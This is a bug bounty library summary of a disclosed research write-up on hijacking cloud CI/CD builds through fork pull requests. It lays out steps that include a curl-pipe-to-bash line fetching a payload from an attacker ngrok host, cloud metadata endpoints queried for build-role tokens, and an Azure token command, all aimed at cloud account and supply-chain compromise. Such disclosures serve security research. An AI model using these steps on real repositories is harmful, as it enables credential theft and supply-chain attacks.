# Hijacking Cloud CI/CD Systems for Fun and Profit

Fork-based PRs to repos using cloud build systems (CodeBuild/CloudBuild/Azure DevOps) execute attacker code that queries IMDS and exfiltrates build-role STS tokens, enabling cloud account compromise.

- Payout: unconfirmed
- Severity: high
- Program: Google (GCP), AWS, Microsoft (Azure)
- Credited: Divyanshu
- Disclosed: 2023-07-22
- Write-up quality: 7/10
- Original: https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit#azure
- Library page: https://bugbountylibrary.com/r/blog%3Adivyanshu-mehta-gitbook-io-researchs-hijacking-cloud-ci-cd-systems-for-fun-and-profit
- Tags: domain:cloud impact:integrity impact:internal-access kind:bounty platform:blog sev:high tech:aws tech:azure tech:gcp tech:github-actions technique:recon vuln:secrets-leak

**Target:** Cloud build systems (AWS CodeBuild, GCP CloudBuild, Azure DevOps, Jenkins) triggered by GitHub PRs
**Root cause:** Cloud build projects run untrusted external PR code with an attached IAM/service role, and the instance metadata endpoint (169.254.170.2 / 169.254.169.254) is reachable from inside the build container, exposing short-lived role credentials.
**Steps:**
1. Identify repo with buildspec.yml/cloudbuild.yml/azure-pipelines.yml and confirm fork PRs trigger builds without approval.
2. Fork repo and add `curl https://attacker.ngrok.io/payload.sh | bash` to buildspec.yml (or to a test file referenced by the build).
3. payload.sh queries `http://169.254.170.2` (AWS) or `http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token` (GCP) and POSTs tokens to attacker server.
4. Open PR to trigger the build; receive base64 STS/access token valid ~1 hour.
5. Use token with aws/gcloud CLI to enumerate account, S3, SecretsManager, container registry.
**How found:** Observation that cloud build systems attach IAM/service roles and that IMDS is reachable from build containers; recon for buildspec.yml/cloudbuild.yml/azure-pipelines.yml in public repos plus old PRs to confirm no first-time-contributor approval gate.
**Exploitation:** Attacker forks target repo, injects a curl|bash payload into build config or test files, opens a PR which auto-triggers the cloud build; payload reads IMDS for the build role's STS/access token and exfiltrates it, then attacker uses the token to enumerate and access S3, SecretsManager, and container registry for supply-chain impact.
**Escalation:** Overly permissive build IAM roles grant push access to container registries and secrets, enabling supply chain attacks affecting all customers; Azure path uses `az account get-access-token` when AzureCli@2 is in pipeline steps.
**Insight:** Look for repos whose CI is a direct cloud build (CodeBuild/CloudBuild/Azure DevOps) rather than GitHub Actions, since fork PRs auto-trigger without approval; test files referenced by the build are a reliable injection point when the build config is hidden.